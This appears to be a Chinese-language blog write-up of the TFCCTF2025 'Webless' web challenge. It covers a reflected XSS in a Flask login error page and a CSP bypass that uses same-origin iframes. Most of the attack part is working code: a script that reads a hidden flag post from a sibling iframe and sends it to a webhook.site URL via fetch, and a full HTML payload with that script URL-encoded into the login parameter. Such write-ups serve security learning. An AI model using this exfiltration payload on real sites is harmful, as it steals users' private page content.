Skip to main content
Background Image

TFCCTF2025 Webless

·125 words·1 min· loading · loading ·

感谢bao师傅给的题目环境,再次为bao师傅感到惋惜,respect

WEBLESS
#

进入页面发现有注册和登录的功能

主要看到这几个地方

@app.route("/login", methods=["GET", "POST"])
def login():
    if "username" in session:
        return redirect(url_for("index"))

    username = request.args.get("username") or request.form.get("username")
    password = request.args.get("password") or request.form.get("password")

    if username and password:
        if username in users and users[username] == password:
            session["username"] = username
            return redirect(url_for("index"))
        return render_template("invalid.html", user=username), 401

    return render_template("login.html")

这里在用户名错误的时候会重定向到401页面,这个地方可以触发一个xss

在report的页面做了CSP限制

resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"

最后要拿到post/0

users = {ADMIN_USERNAME: ADMIN_PASSWORD}
     = [{
    "id": 0,
    "author": ADMIN_USERNAME,
    "title": "FLAG",
    "description": FLAG,
    "hidden": True
}]

这里学到的新思路就是

同域的iframe之间能互相获取DOM树

并且iframe是具有独立的dom树的 所以我们的思路就是利用iframe打开post/0然后再开一个iframe跳转到上面能触发xss的401页面,将flag外带出来 脚本:

<script>
const parent = window.parent;
const iframe = parent.document.getElementById('flag');
const iframe_content = iframe.contentDocument;
const flag = iframe_content.getElementById('description').innerText;
fetch('https://webhook.site/6052234e-4f53-4fad-97c4-0da418a1c062/?flag='+flag);
</script>

playload:

<iframe id="flag" src="/post/0" style="width:0;height:0;border:0;visibility:hidden"></iframe>
<img a="wait" src="x">
<img a="wait" src="x">
<img src="x">
<img src="x">
<img src="x">
<img src="x">
<img src="x">
<iframe credentialless src="/login?username=%3Cscript%3E+const+parent+%3D+window.parent%3B+const+iframe+%3D+parent.document.getElementById%28%27flag%27%29%3B+const+iframe_content+%3D+iframe.contentDocument%3B+const+flag+%3D+iframe_content.getElementById%28%27description%27%29.innerText%3B+fetch%28%27https%3A%2F%2Fwebhook.site%2F6052234e-4f53-4fad-97c4-0da418a1c062%2F%3Fflag%3D%27%2Bflag%29+%3C%2Fscript%3E&password=1" style="width:0;height:0;border:0;visibility:hidden"></iframe>

这个比赛先复现这一个了,因为其他题目环境有问题来着,弄了两天了,下次遇到相同知识点再学就行了,没必要死磕

Delete's blog
Author
Delete’s blog